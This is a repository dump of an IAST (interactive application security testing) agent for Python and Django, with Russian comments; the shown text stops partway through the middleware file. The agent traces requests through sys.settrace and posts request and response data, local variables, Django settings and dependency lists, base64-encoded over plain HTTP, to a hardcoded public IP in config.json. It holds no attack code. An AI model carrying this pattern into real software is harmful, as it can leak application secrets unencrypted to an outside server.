10 | "immunity_agent.control_flow.control_flow" [color="black", label=, shape="box", style="solid"];
11 | "immunity_agent.logger" [color="black", label=, shape="box", style="solid"];
12 | "immunity_agent.middlewares" [color="black", label=, shape="box", style="solid"];
13 | "immunity_agent.middlewares.django_middleware" [color="black", label=, shape="box", style="solid"];
14 | "immunity_agent.middlewares.flask_middleware" [color="black", label=, shape="box", style="solid"];
15 | "immunity_agent.request" [color="black", label=, shape="box", style="solid"];
16 | "immunity_agent.request.django_request" [color="black", label=, shape="box", style="solid"];
17 | "immunity_agent.response" [color="black", label=, shape="box", style="solid"];
18 | "immunity_agent.response.django_response" [color="black", label=, shape="box", style="solid"];
19 | "immunity_agent.__main__" -> "immunity_agent.config" [arrowhead="open", arrowtail="none"];
20 | "immunity_agent.api.client" -> "immunity_agent.config" [arrowhead="open", arrowtail="none"];
21 | "immunity_agent.api.client" -> "immunity_agent.logger" [arrowhead="open", arrowtail="none"];
22 | "immunity_agent.config" -> "immunity_agent.logger" [arrowhead="open", arrowtail="none"];
23 | "immunity_agent.control_flow" -> "immunity_agent.control_flow" [arrowhead="open", arrowtail="none"];
24 | "immunity_agent.control_flow.control_flow" -> "immunity_agent.logger" [arrowhead="open", arrowtail="none"];
25 | "immunity_agent.middlewares.django_middleware" -> "immunity_agent.api.client" [arrowhead="open", arrowtail="none"];
26 | "immunity_agent.middlewares.django_middleware" -> "immunity_agent.control_flow" [arrowhead="open", arrowtail="none"];
27 | "immunity_agent.middlewares.django_middleware" -> "immunity_agent.logger" [arrowhead="open", arrowtail="none"];
28 | "immunity_agent.middlewares.django_middleware" -> "immunity_agent.request.django_request" [arrowhead="open", arrowtail="none"];
29 | "immunity_agent.middlewares.django_middleware" -> "immunity_agent.response.django_response" [arrowhead="open", arrowtail="none"];
30 | "immunity_agent.middlewares.flask_middleware" -> "immunity_agent.api.client" [arrowhead="open", arrowtail="none"];
31 | "immunity_agent.middlewares.flask_middleware" -> "immunity_agent.control_flow" [arrowhead="open", arrowtail="none"];
32 | "immunity_agent.middlewares.flask_middleware" -> "immunity_agent.logger" [arrowhead="open", arrowtail="none"];
33 | "immunity_agent.request.django_request" -> "immunity_agent.logger" [arrowhead="open", arrowtail="none"];
34 | "immunity_agent.response.django_response" -> "immunity_agent.logger" [arrowhead="open", arrowtail="none"];
35 | }
36 |
--------------------------------------------------------------------------------
/diagrams/packages.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/light-hat/immunity-python-agent/1a582d30616cc0a17897ad5ab220c2575352f985/diagrams/packages.png
--------------------------------------------------------------------------------
/generate_flowcharts.py:
--------------------------------------------------------------------------------
1 | import os
2 | import ast
3 | from pyflowchart import Flowchart
4 |
5 | def normalize_indentation(code):
6 | """Нормализует отступы, чтобы избежать ошибок с unexpected indent."""
7 | lines = code.splitlines()
8 | if not lines:
9 | return ""
10 |
11 | # Найти минимальный отступ среди всех строк (игнорируя пустые строки)
12 | min_indent = float('inf')
13 | for line in lines:
14 | stripped = line.strip()
15 | if stripped: # Игнорировать пустые строки
16 | min_indent = min(min_indent, len(line) - len(stripped))
17 |
18 | # Удалить минимальный отступ из всех строк
19 | normalized_lines = []
20 | for line in lines:
21 | if line.strip(): # Только для непустых строк
22 | normalized_lines.append(line[min_indent:])
23 | else:
24 | normalized_lines.append("") # Сохранить пустые строки
25 |
26 | return "\n".join(normalized_lines)
27 |
28 |
29 | def extract_flowchart_code(code, start_marker="# flowchart: start", end_marker="# flowchart: end"):
30 | """Извлекает код между управляющими метками."""
31 | lines = code.splitlines()
32 | in_flowchart_block = False
33 | extracted_lines = []
34 |
35 | for line in lines:
36 | if start_marker in line:
37 | in_flowchart_block = True
38 | continue
39 | elif end_marker in line:
40 | in_flowchart_block = False
41 | continue
42 |
43 | if in_flowchart_block:
44 | extracted_lines.append(line)
45 |
46 | extracted_code = "\n".join(extracted_lines)
47 | return normalize_indentation(extracted_code)
48 |
49 | def get_methods_from_class(class_node):
50 | """Возвращает все методы класса."""
51 | methods = []
52 | for node in class_node.body:
53 | if isinstance(node, ast.FunctionDef):
54 | methods.append(node)
55 | return methods
56 |
57 | def process_file(file_path):
58 | """Обрабатывает файл Python и создает блок-схемы для методов классов."""
59 | with open(file_path, 'r', encoding='utf-8') as file:
60 | code = file.read()
61 |
62 | tree = ast.parse(code)
63 |
64 | for node in tree.body:
65 | if isinstance(node, ast.ClassDef):
66 | class_name = node.name
67 | methods = get_methods_from_class(node)
68 |
69 | for method in methods:
70 | method_name = method.name
71 | method_code = ast.get_source_segment(code, method)
72 |
73 | # Извлекаем только код между управляющими метками
74 | filtered_code = extract_flowchart_code(method_code)
75 |
76 | if filtered_code.strip():
77 | try:
78 | flowchart = Flowchart.from_code(filtered_code)
79 | output_file = f"diagrams/{class_name}_{method_name}_flowchart.txt"
80 |
81 | with open(output_file, 'w', encoding='utf-8') as out_file:
82 | out_file.write(flowchart.flowchart())
83 |
84 | print(f"Блок-схема для {class_name}.{method_name} сохранена в {output_file}")
85 | except Exception as e:
86 | print(f"Ошибка при обработке метода {class_name}.{method_name}: {e}")
87 |
88 | def process_directory(directory):
89 | """Обходит все файлы в директории и обрабатывает их."""
90 | for root, _, files in os.walk(directory):
91 | for file in files:
92 | if file.endswith('.py'):
93 | file_path = os.path.join(root, file)
94 | print(f"Обработка файла: {file_path}")
95 | process_file(file_path)
96 |
97 | project_directory = "./immunity_agent"
98 | process_directory(project_directory)
99 |
--------------------------------------------------------------------------------
/immunity_agent/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/light-hat/immunity-python-agent/1a582d30616cc0a17897ad5ab220c2575352f985/immunity_agent/__init__.py
--------------------------------------------------------------------------------
/immunity_agent/__main__.py:
--------------------------------------------------------------------------------
1 | """
2 | Модуль, отвечающий за запуск агента из консоли.
3 |
4 | Парсит аргументы командной строки, устанавливает конфигурацию агента,
5 | выводит новую конфигурацию на экран.
6 | """
7 |
8 | import argparse
9 |
10 | from immunity_agent.config import Config
11 |
12 | if __name__ == "__main__":
13 | parser = argparse.ArgumentParser(
14 | "Immunity IAST Python agent. Вызов из консоли используется для конфигурации агента."
15 | )
16 | parser.add_argument("host", help="Хост серверной части IAST")
17 | parser.add_argument("port", help="Порт, на котором она хостится")
18 | parser.add_argument("project_name", help="Имя проекта")
19 | args = parser.parse_args()
20 |
21 | config = Config()
22 | config.set("host", args.host)
23 | config.set("port", args.port)
24 | config.set("project", args.project_name) # flowchart: end
25 |
26 | print("Новая конфигурация:")
27 | print("Хост серверной части:", args.host)
28 | print("Порт серверной части:", args.port)
29 | print("Имя проекта:", args.project_name)
30 |
--------------------------------------------------------------------------------
/immunity_agent/api/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/light-hat/immunity-python-agent/1a582d30616cc0a17897ad5ab220c2575352f985/immunity_agent/api/__init__.py
--------------------------------------------------------------------------------
/immunity_agent/api/client.py:
--------------------------------------------------------------------------------
1 | """
2 | Модуль клиента для взаимодействия с API управляющего сервера.
3 |
4 | Этот модуль предоставляет функциональность для загрузки контекстных данных
5 | в API управляющего сервера программного средства интерактивного анализа.
6 | """
7 |
8 | import base64
9 |
10 | import requests
11 |
12 | from immunity_agent.config import Config
13 | from immunity_agent.logger import logger_config
14 |
15 | logger = logger_config("Immunity API")
16 |
17 |
18 | class Client: # pylint: disable=too-few-public-methods
19 | """
20 | Класс клиента для взаимодействия с API управляющего сервера.
21 |
22 | Этот класс предоставляет методы для отправки данных в API.
23 |
24 | :param host: Хост сервера API.
25 | :type host: str
26 | :param port: Порт сервера API.
27 | :type port: int
28 | :param project: Название проекта.
29 | :type project: str
30 | """
31 |
32 | def __init__(self):
33 | """
34 | Конструктор класса.
35 |
36 | Инициализирует конфигурацию и устанавливает параметры подключения.
37 | """
38 | self.config = Config()
39 | self.host = self.config.get("host")
40 | self.port = self.config.get("port")
41 | self.project = self.config.get("project")
42 |
43 | def upload_context( # pylint: disable=too-many-arguments, too-many-positional-arguments
44 | self,
45 | endpoint: str,
46 | project: str,
47 | request: str,
48 | control_flow: str,
49 | response: str,
50 | ) -> requests.Response:
51 | """
52 | Отправка контекста в API.
53 |
54 | Метод кодирует данные запроса, потока управления и ответа в Base64 и
55 | отправляет их на сервер.
56 |
57 | :param endpoint: Адрес перехваченного запроса.
58 | :type endpoint: str
59 | :param project: Проект, к которому относится запрос.
60 | :type project: str
61 | :param request: Запрос в формате HTTP.
62 | :type request: str
63 | :param control_flow: Контрольный поток выполнения.
64 | :type control_flow: str
65 | :param response: Ответ от сервера в формате HTTP.
66 | :type response: str
67 | :return: Объект Response от библиотеки `requests`.
68 | :rtype: requests.Response
69 | :raises requests.exceptions.RequestException: В случае ошибки при выполнении HTTP-запроса.
70 | """
71 | url = f"http://{self.host}:{self.port}/api/agent/context/"
72 | headers = {"Content-Type": "application/json"}
73 |
74 | try:
75 | # flowchart: start
76 | response = requests.post(
77 | url,
78 | headers=headers,
79 | json={
80 | "project": project,
81 | "request": base64.b64encode(request.encode("utf-8")).decode(
82 | "utf-8"
83 | ),
84 | "control_flow": base64.b64encode(
85 | control_flow.encode("utf-8")
86 | ).decode("utf-8"),
87 | "response": base64.b64encode(response.encode("utf-8")).decode(
88 | "utf-8"
89 | ),
90 | },
91 | timeout=15,
92 | )
93 | if response.status_code == 200:
94 | logger.info(f"Данные о запросе {endpoint} отправлены на обработку.")
95 | else:
96 | logger.error(
97 | f"Сбой отправки данных о запросе {endpoint}. "
98 | f"Код ответа: {response.status_code}; "
99 | f"Содержимое ответа: {response.text}"
100 | )
101 | return response # flowchart: end
102 | except requests.exceptions.RequestException as e:
103 | logger.exception(
104 | f"Произошла ошибка при отправке данных о запросе {endpoint}"
105 | )
106 | raise e
107 |
108 | def upload_dependencies( # pylint: disable=too-many-arguments, too-many-positional-arguments
109 | self,
110 | dependencies_json: str,
111 | project: str
112 | ) -> requests.Response:
113 | """
114 | Отправка библиотек анализируемого проекта в API.
115 |
116 | Метод кодирует данные о библиотеках проекта в Base64 и
117 | отправляет их на сервер.
118 |
119 | :param dependencies_json: Сериализованные в JSON данные.
120 | :type dependencies_json: str
121 | :param project: Проект, к которому относится запрос.
122 | :type project: str
123 | :raises requests.exceptions.RequestException: В случае ошибки при выполнении HTTP-запроса.
124 | """
125 | url = f"http://{self.host}:{self.port}/api/agent/dependencies/"
126 | headers = {"Content-Type": "application/json"}
127 |
128 | try:
129 | # flowchart: start
130 | response = requests.post(
131 | url,
132 | headers=headers,
133 | json={
134 | "project": project,
135 | "payload": base64.b64encode(dependencies_json.encode("utf-8")).decode(
136 | "utf-8"
137 | ),
138 | },
139 | timeout=15,
140 | )
141 | if response.status_code == 200:
142 | logger.info(f"Данные о настройках успешно отправлены.")
143 | else:
144 | logger.error(
145 | f"Сбой отправки данных о настройках"
146 | f"Код ответа: {response.status_code}; "
147 | f"Содержимое ответа: {response.text}"
148 | )
149 | return response # flowchart: end
150 | except requests.exceptions.RequestException as e:
151 | logger.exception(
152 | f"Произошла ошибка при отправке данных о настройках"
153 | )
154 | raise e
155 |
156 | def upload_config( # pylint: disable=too-many-arguments, too-many-positional-arguments
157 | self,
158 | config_json: str,
159 | project: str,
160 | framework: str
161 | ) -> requests.Response:
162 | """
163 | Отправка конфигурации анализируемого проекта в API.
164 |
165 | Метод кодирует данные о конфигурации проекта в Base64 и
166 | отправляет их на сервер.
167 |
168 | :param config_json: Адрес перехваченного запроса.
169 | :type config_json: str
170 | :param project: Проект, к которому относится запрос.
171 | :type project: str
172 | :param framework: Имя фреймворка.
173 | :type framework: str
174 | :raises requests.exceptions.RequestException: В случае ошибки при выполнении HTTP-запроса.
175 | """
176 | url = f"http://{self.host}:{self.port}/api/agent/config/"
177 | headers = {"Content-Type": "application/json"}
178 |
179 | try:
180 | # flowchart: start
181 | response = requests.post(
182 | url,
183 | headers=headers,
184 | json={
185 | "project": project,
186 | "payload": base64.b64encode(config_json.encode("utf-8")).decode(
187 | "utf-8"
188 | ),
189 | "framework": framework
190 | },
191 | timeout=15,
192 | )
193 | if response.status_code == 200:
194 | logger.info(f"Данные о настройках успешно отправлены.")
195 | else:
196 | logger.error(
197 | f"Сбой отправки данных о настройках"
198 | f"Код ответа: {response.status_code}; "
199 | f"Содержимое ответа: {response.text}"
200 | )
201 | return response # flowchart: end
202 | except requests.exceptions.RequestException as e:
203 | logger.exception(
204 | f"Произошла ошибка при отправке данных о настройках"
205 | )
206 | raise e
207 |
--------------------------------------------------------------------------------
/immunity_agent/config.json:
--------------------------------------------------------------------------------
1 | {"host": "81.177.220.198", "port": "7850", "project": "local"}
--------------------------------------------------------------------------------
/immunity_agent/config.py:
--------------------------------------------------------------------------------
1 | """
2 | Модуль для работы с конфигурацией агента интерактивного анализа.
3 |
4 | Этот модуль предоставляет класс Config, который позволяет загружать,
5 | сохранять и управлять данными конфигурации. Конфигурационные данные
6 | хранятся в файле JSON.
7 | """
8 |
9 | import os
10 | import json
11 | from typing import Any, Dict, Optional
12 | from pathlib import Path
13 |
14 | from immunity_agent.logger import logger_config
15 |
16 | logger = logger_config("Immunity settings unit")
17 |
18 |
19 | class Config:
20 | """
21 | Класс для управления конфигурацией агента.
22 |
23 | Этот класс отвечает за загрузку, сохранение и управление данными конфигурации.
24 | Конфигурационные данные хранятся в файле JSON.
25 | """
26 |
27 | def __init__(self):
28 | """
29 | Конструктор класса Config.
30 |
31 | Устанавливает имя файла конфигурации и загружает данные из этого файла.
32 | Если файл отсутствует, создается пустой словарь данных.
33 | """
34 | package_dir = os.path.dirname(__file__)
35 | self.filename = os.path.join(package_dir, "config.json")
36 | self.data: Dict[str, Any] = self.load()
37 |
38 | def load(self) -> Dict[str, Any]:
39 | """
40 | Загружает данные конфигурации из файла.
41 |
42 | :return: Словарь с данными конфигурации.
43 | :raises FileNotFoundError: Если файл конфигурации не найден.
44 | """
45 | try:
46 | with open(self.filename, "r", encoding="utf-8") as f:
47 | return json.load(f)
48 | except FileNotFoundError as e:
49 | logger.error(e)
50 | return {}
51 |
52 | def save(self) -> None:
53 | """
54 | Сохраняет текущие данные конфигурации в файл.
55 | """
56 | with open(self.filename, "w", encoding="utf-8") as f:
57 | json.dump(self.data, f)
58 |
59 | def get(self, key: str, default: Optional[Any] = None) -> Any:
60 | """
61 | Получает значение по ключу из данных конфигурации.
62 |
63 | :param key: Ключ, по которому нужно получить значение.
64 | :param default: Значение по умолчанию, которое будет возвращено, если ключ не найден.
65 | :return: Значение, соответствующее ключу, либо значение по умолчанию.
66 | """
67 | return self.data.get(key, default)
68 |
69 | def set(self, key: str, value: Any) -> None:
70 | """
71 | Устанавливает новое значение для ключа в данных конфигурации и сохраняет изменения в файл.
72 |
73 | :param key: Ключ, для которого устанавливается значение.
74 | :param value: Новое значение для указанного ключа.
75 | """
76 | self.data[key] = value
77 | self.save()
78 |
--------------------------------------------------------------------------------
/immunity_agent/control_flow/__init__.py:
--------------------------------------------------------------------------------
1 | """
2 | Модуль для перехвата и обработки потока управления.
3 | """
4 |
5 | from .control_flow import ControlFlowBuilder
6 |
--------------------------------------------------------------------------------
/immunity_agent/control_flow/control_flow.py:
--------------------------------------------------------------------------------
1 | """
2 | Модуль для перехвата и обработки потока управления.
3 |
4 | Этот модуль предоставляет функционал для отслеживания и сериализации потоков управления
5 | в рамках программного средства интерактивного анализа.
6 | """
7 |
8 | import inspect
9 | import json
10 | import time
11 | from types import FrameType
12 | from typing import Any, Callable, Optional
13 |
14 | from immunity_agent.logger import logger_config
15 |
16 | logger = logger_config("Immunity control flow handler")
17 |
18 |
19 | class ControlFlowBuilder:
20 | """
21 | Класс, описывающий логику захвата потока управления.
22 |
23 | Этот класс предназначен для отслеживания и сериализации событий в потоке управления программы.
24 |
25 | :param project_root: Корневая директория проекта.
26 | :type project_root: str
27 | """
28 |
29 | def __init__(self, project_root: str):
30 | """
31 | Конструктор класса.
32 |
33 | Устанавливает корневую директорию проекта и инициализирует необходимые атрибуты.
34 |
35 | :param project_root: Корневая директория проекта.
36 | :type project_root: str
37 | """
38 | self.project_root = project_root
39 | self.external_call_detected = False
40 | self.control_flow = []
41 |
42 | def serialize(self, indentation: int = None) -> str:
43 | """
44 | Сериализация логики захвата потока управления в формате JSON.
45 |
46 | :param indentation: Количество отступов для форматирования JSON (по умолчанию None).
47 | :type indentation: int | None
48 | :return: Строка с сериализованным потоком управления.
49 | :rtype: str
50 | """
51 | return json.dumps(self.control_flow, indent=indentation)
52 |
53 | def serialize_locals(self, local_dict: dict) -> list:
54 | """
55 | Сериализация локальных переменных в виде списка словарей.
56 |
57 | :param local_dict: Сырой словарь с локальными переменными.
58 | :type local_dict: dict
59 | :return: Список словарей с сериализованными переменными.
60 | :rtype: list
61 | """
62 | serialized = []
63 | try:
64 | for var_name, var_value in local_dict.items():
65 | try:
66 | value_str = str(var_value)
67 | except Exception: # pylint: disable=broad-except
68 | value_str = ""
69 |
70 | serialized.append(
71 | {
72 | "name": var_name,
73 | "type": type(var_value).__name__,
74 | "value": value_str if value_str else "",
75 | }
76 | )
77 | except Exception: # pylint: disable=broad-except
78 | serialized.append(str(local_dict))
79 | return serialized
80 |
81 | def serialize_error(self, error_tuple: tuple) -> dict:
82 | """
83 | Сериализация ошибки в виде словаря.
84 |
85 | :param error_tuple: Кортеж с данными об ошибке (тип, сообщение, трассировка стека).
86 | :type error_tuple: tuple
87 | :return: Словарь с сериализованной ошибкой.
88 | :rtype: dict
89 | """
90 | return {
91 | "exception_type": error_tuple[0].__name__,
92 | "message": str(error_tuple[1]),
93 | }
94 |
95 | def trace_calls( # pylint: disable=too-many-statements
96 | self, frame, event: str, arg
97 | ) -> Callable[[FrameType, str, Any], Optional[Callable]]:
98 | """
99 | Функция-трассировщик для отслеживания вызовов.
100 |
101 | Эта функция будет вызываться перед каждым событием в процессе исполнения программы.
102 | Она позволяет отслеживать различные события, такие как вызовы функций, выполнение
103 | строк кода и возврат из функций.
104 |
105 | :param frame: Текущий фрейм выполнения.
106 | :type frame: types.FrameType
107 | :param event: Тип события. Возможные значения: 'call', 'line', 'return', 'exception'.
108 | :type event: str
109 | :param arg: Дополнительная информация о событии. Например, для события 'return' это
110 | значение, которое возвращается из функции.
111 | :type arg: Any
112 | :return: Новая функция-трассировщик или None, если трассировка больше не требуется.
113 | :rtype: Optional[Callable[[types.FrameType, str, Any], Optional[Callable]]]
114 | """
115 | filename = frame.f_code.co_filename
116 |
117 | if event == "call":
118 | func_name = frame.f_code.co_name
119 | func_filename = frame.f_code.co_filename
120 | func_line_number = frame.f_lineno
121 |
122 | # Проверяем, если вызов происходит в проекте
123 | if self.project_root in func_filename and 'site-packages' in func_filename:
124 | self.external_call_detected = False
125 | else:
126 | if not self.external_call_detected:
127 | # Только если внешняя функция не была зарегистрирована ранее
128 | module = inspect.getmodule(frame)
129 | module_name = module.__name__ if module else ""
130 | args = frame.f_locals.copy()
131 | self.control_flow.append(
132 | {
133 | "timestamp": time.strftime("%Y-%m-%d %H:%M:%S"),
134 | "event": "external_call",
135 | "name": func_name,
136 | "module": module_name,
137 | "filename": func_filename,
138 | "line": func_line_number,
139 | "args": self.serialize_locals(args),
140 | }
141 | )
142 | self.external_call_detected = True
143 | else:
144 | self.external_call_detected = False
145 |
146 | if self.project_root in filename and not 'site-packages' in filename:
147 | if event == "call":
148 | # Вызов функции
149 | func_name = frame.f_code.co_name
150 | func_filename = frame.f_code.co_filename
151 | func_line_number = frame.f_lineno
152 |
153 | module = inspect.getmodule(frame)
154 | module_name = module.__name__ if module else ""
155 | args = frame.f_locals.copy()
156 | self.control_flow.append(
157 | {
158 | "timestamp": time.strftime("%Y-%m-%d %H:%M:%S"),
159 | "event": "internal_call",
160 | "name": func_name,
161 | "module": module_name,
162 | "filename": func_filename,
163 | "line": func_line_number,
164 | "args": self.serialize_locals(args),
165 | }
166 | )
167 |
168 | return self.trace_calls
169 |
170 | if event == "line":
171 | # Выполнение строки кода внутри функции
172 | func_name = frame.f_code.co_name
173 | func_filename = frame.f_code.co_filename
174 | func_line_number = frame.f_lineno
175 | code_line = (
176 | inspect.getframeinfo(frame).code_context[0].strip()
177 | if inspect.getframeinfo(frame).code_context is not None
178 | else "None"
179 | )
180 |
181 | module = inspect.getmodule(frame)
182 | module_name = module.__name__ if module else ""
183 | args = frame.f_locals.copy()
184 | self.control_flow.append(
185 | {
186 | "timestamp": time.strftime("%Y-%m-%d %H:%M:%S"),
187 | "event": "code_line",
188 | "name": func_name,
189 | "module": module_name,
190 | "filename": func_filename,
191 | "line": func_line_number,
192 | "args": self.serialize_locals(args),
193 | "code": code_line,
194 | }
195 | )
196 |
197 | return self.trace_calls
198 |
199 | if event == "return":
200 | # Возврат из функции
201 | func_name = frame.f_code.co_name
202 | func_filename = frame.f_code.co_filename
203 | func_line_number = frame.f_lineno
204 | return_value = arg
205 |
206 | module = inspect.getmodule(frame)
207 | module_name = module.__name__ if module else ""
208 | args = frame.f_locals.copy()
209 | self.control_flow.append(
210 | {
211 | "timestamp": time.strftime("%Y-%m-%d %H:%M:%S"),
212 | "event": "return",
213 | "name": func_name,
214 | "module": module_name,
215 | "filename": func_filename,
216 | "line": func_line_number,
217 | "final_state": self.serialize_locals(args),
218 | "returned_value": (
219 | self.serialize_locals(return_value)
220 | if return_value
221 | else "None"
222 | ),
223 | }
224 | )
225 |
226 | return self.trace_calls
227 |
228 | if event == "exception":
229 | func_name = frame.f_code.co_name
230 | func_filename = frame.f_code.co_filename
231 | func_line_number = frame.f_lineno
232 | return_value = arg
233 |
234 | module = inspect.getmodule(frame)
235 | module_name = module.__name__ if module else ""
236 | args = frame.f_locals.copy()
237 | self.control_flow.append(
238 | {
239 | "timestamp": time.strftime("%Y-%m-%d %H:%M:%S"),
240 | "event": "error",
241 | "source": [
242 | {
243 | "function": func_name,
244 | "module": module_name,
245 | "filename": func_filename,
246 | "line": func_line_number,
247 | }
248 | ],
249 | "details": self.serialize_error(return_value),
250 | }
251 | )
252 |
253 | return self.trace_calls
254 |
255 | return self.trace_calls
256 |
257 | return self.trace_calls
258 |
--------------------------------------------------------------------------------
/immunity_agent/logger.py:
--------------------------------------------------------------------------------
1 | """
2 | Модуль agent_logger.py
3 |
4 | Этот модуль предоставляет класс AgentLogger, предназначенный для ведения логов
5 | в рамках системы интерактивного анализа. Класс AgentLogger позволяет записывать
6 | сообщения различных уровней важности (debug, info, warning, error, critical),
7 | используя объект логирования из стандартной библиотеки Python.
8 |
9 | Основные возможности:
10 | - Ведение логов на разных уровнях важности.
11 | - Поддержка форматированных строк и дополнительных аргументов.
12 | - Возможность записи исключений с трассировкой стека.
13 | """
14 |
15 | import logging
16 |
17 | loggers = {}
18 |
19 | LOG_FORMAT = "[%(asctime)s] %(levelname)s [%(name)s] %(message)s"
20 |
21 |
22 | class AgentLogger:
23 | """
24 | Класс логгера агента интерактивного анализа.
25 |
26 | Этот класс используется для регистрации сообщений различного уровня важности,
27 | таких как отладочные сообщения, информационные, предупреждения, ошибки и критические ошибки.
28 | """
29 |
30 | def __init__(self, log: logging.Logger) -> None:
31 | """
32 | Конструктор класса.
33 |
34 | :param log: Объект логирования, который будет использоваться для записи сообщений.
35 | :type log: logging.Logger
36 | """
37 | self._log = log
38 |
39 | def debug(self, msg: str, *args, **kwargs) -> None:
40 | """
41 | Запись отладочного сообщения.
42 |
43 | :param msg: Сообщение, которое нужно записать.
44 | :type msg: str
45 | :param args: Дополнительные аргументы для форматирования строки.
46 | :param kwargs: Ключевые слова для форматирования строки.
47 | """
48 | return self._log.debug(msg, *args, **kwargs)
49 |
50 | def info(self, msg: str, *args, **kwargs) -> None:
51 | """
52 | Запись информационного сообщения.
53 |
54 | :param msg: Сообщение, которое нужно записать.
55 | :type msg: str
56 | :param args: Дополнительные аргументы для форматирования строки.
57 | :param kwargs: Ключевые слова для форматирования строки.
58 | """
59 | return self._log.info(msg, *args, **kwargs)
60 |
61 | def warning(self, msg: str, *args, **kwargs) -> None:
62 | """
63 | Запись предупреждающего сообщения.
64 |
65 | :param msg: Сообщение, которое нужно записать.
66 | :type msg: str
67 | :param args: Дополнительные аргументы для форматирования строки.
68 | :param kwargs: Ключевые слова для форматирования строки.
69 | """
70 | return self._log.warning(msg, *args, **kwargs)
71 |
72 | def warn(self, msg: str, *args, **kwargs) -> None:
73 | """
74 | Запись предупреждающего сообщения (синоним метода warning).
75 |
76 | :param msg: Сообщение, которое нужно записать.
77 | :type msg: str
78 | :param args: Дополнительные аргументы для форматирования строки.
79 | :param kwargs: Ключевые слова для форматирования строки.
80 | """
81 | return self._log.warn(msg, *args, **kwargs)
82 |
83 | def error(self, msg: str, *args, **kwargs) -> None:
84 | """
85 | Запись сообщения об ошибке.
86 |
87 | :param msg: Сообщение, которое нужно записать.
88 | :type msg: str
89 | :param args: Дополнительные аргументы для форматирования строки.
90 | :param kwargs: Ключевые слова для форматирования строки.
91 | """
92 | return self._log.error(msg, *args, **kwargs)
93 |
94 | def exception(self, msg: str, *args, exc_info: bool = True, **kwargs) -> None:
95 | """
96 | Запись исключения с трассировкой стека.
97 |
98 | :param msg: Сообщение, которое нужно записать.
99 | :type msg: str
100 | :param args: Дополнительные аргументы для форматирования строки.
101 | :param exc_info: Флаг, определяющий необходимость включения информации о текущем исключении.
102 | :type exc_info: bool
103 | :param kwargs: Ключевые слова для форматирования строки.
104 | """
105 | return self._log.exception(msg, *args, exc_info=exc_info, **kwargs)
106 |
107 | def critical(self, msg: str, *args, **kwargs) -> None:
108 | """
109 | Запись критического сообщения.
110 |
111 | :param msg: Сообщение, которое нужно записать.
112 | :type msg: str
113 | :param args: Дополнительные аргументы для форматирования строки.
114 | :param kwargs: Ключевые слова для форматирования строки.
115 | """
116 | return self._log.critical(msg, *args, **kwargs)
117 |
118 | def log(self, level: int, msg: str, *args, **kwargs) -> None:
119 | """
120 | Запись сообщения с указанным уровнем важности.
121 |
122 | :param level: Уровень важности сообщения.
123 | :type level: int
124 | :param msg: Сообщение, которое нужно записать.
125 | :type msg: str
126 | :param args: Дополнительные аргументы для форматирования строки.
127 | :param kwargs: Ключевые слова для форматирования строки.
128 | """
129 | return self._log.log(level, msg, *args, **kwargs)
130 |
131 |
132 | def logger_config(logging_name: str) -> AgentLogger:
133 | """
134 | Получение логгера по названию.
135 |
136 | :param logging_name: Название логгера.
137 | :type logging_name: str
138 | :return: Объект логгера.
139 | :rtype: AgentLogger
140 | """
141 |
142 | global loggers # pylint: disable=global-variable-not-assigned
143 |
144 | if loggers.get(logging_name):
145 | return loggers.get(logging_name)
146 |
147 | logger = logging.getLogger(logging_name)
148 | logger.handlers.clear()
149 |
150 | level = logging.INFO
151 |
152 | logger.setLevel(level)
153 |
154 | console = logging.StreamHandler()
155 | console.setLevel(level)
156 | console.setFormatter(logging.Formatter(LOG_FORMAT))
157 | logger.addHandler(console)
158 |
159 | loggers[logging_name] = logger
160 | return AgentLogger(logger)
161 |
--------------------------------------------------------------------------------
/immunity_agent/middlewares/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/light-hat/immunity-python-agent/1a582d30616cc0a17897ad5ab220c2575352f985/immunity_agent/middlewares/__init__.py
--------------------------------------------------------------------------------
/immunity_agent/middlewares/django_middleware.py:
--------------------------------------------------------------------------------
1 | """
2 | Промежуточное ПО для интеграции агента Immunity IAST с фреймворком Django.
3 |
4 | Этот модуль предоставляет промежуточное программное обеспечение (middleware) для фреймворка Django,
5 | которое позволяет интегрировать агент Immunity IAST для мониторинга и анализа запросов и ответов.
6 | """
7 |
8 | import sys
9 | import json
10 | from typing import Any
11 |
12 | from django.conf import settings
13 | import pkg_resources
14 | from immunity_agent.api.client import Client
15 | from immunity_agent.control_flow import ControlFlowBuilder
16 | from immunity_agent.logger import logger_config
17 | from immunity_agent.request.django_request import DjangoRequest
18 | from immunity_agent.response.django_response import DjangoResponse
19 |
20 | logger = logger_config("Immunity Django middleware")
21 |
22 |
23 | class ImmunityDjangoMiddleware: # pylint: disable=too-few-public-methods
24 | """
25 | Промежуточное ПО для инструментирования фреймворка Django.
26 |
27 | Этот класс реализует промежуточное ПО для фреймворка Django,
28 | которое интегрирует агент Immunity IAST для мониторинга и анализа
29 | запросов и ответов.
30 |
31 | :param get_response: Функция, возвращающая ответ на запрос.
32 | :type get_response: Callable[[HttpRequest], HttpResponse]
33 | """
34 |
35 | def __init__(self, get_response: callable):
36 | """
37 | Конструктор класса.
38 |
39 | Устанавливает функцию получения ответа и создает экземпляр клиента API.
40 |
41 | :param get_response: Функция, возвращающая ответ на запрос.
42 | :type get_response: Callable[[HttpRequest], HttpResponse]
43 | """
44 | self.get_response = get_response
45 | self.api_client = Client()
46 | self.project = self.api_client.project
47 | self.control_flow = None
48 | logger.info("Агент Immunity IAST активирован.")
49 |
50 | self.api_client.upload_config(json.dumps(self._extract_settings()), self.project, "django")
51 | self.api_client.upload_dependencies(json.dumps({d.key: d.version for d in pkg_resources.working_set}), self.project)
52 |
53 | def __call__(self, request: Any) -> Any:
54 | """
55 | Переопределяем метод вызова.
56 |
57 | Этот метод перехватывает запросы и ответы, собирает информацию о них и передает её в API.
58 |
59 | :param request: Объект запроса.
60 | :type request: HttpRequest
61 | :return: Ответ.
62 | :rtype: HttpResponse
63 | """
64 | # flowchart: start
65 | logger.info(f"Отслеживаю запрос {request.path}") # flowchart: start
66 | self.control_flow = ControlFlowBuilder(project_root=str(settings.BASE_DIR))
67 | sys.settrace(self.control_flow.trace_calls)
68 |
69 | response = self.get_response(request)
70 |
71 | sys.settrace(None)
72 |
73 | self.api_client.upload_context(
74 | request.path,
75 | self.project,
76 | DjangoRequest.serialize(request),
77 | self.control_flow.serialize(),
78 | DjangoResponse.serialize(response),
79 | )
80 | # flowchart: end
81 |
82 | return response
83 |
84 | def _extract_settings(self):
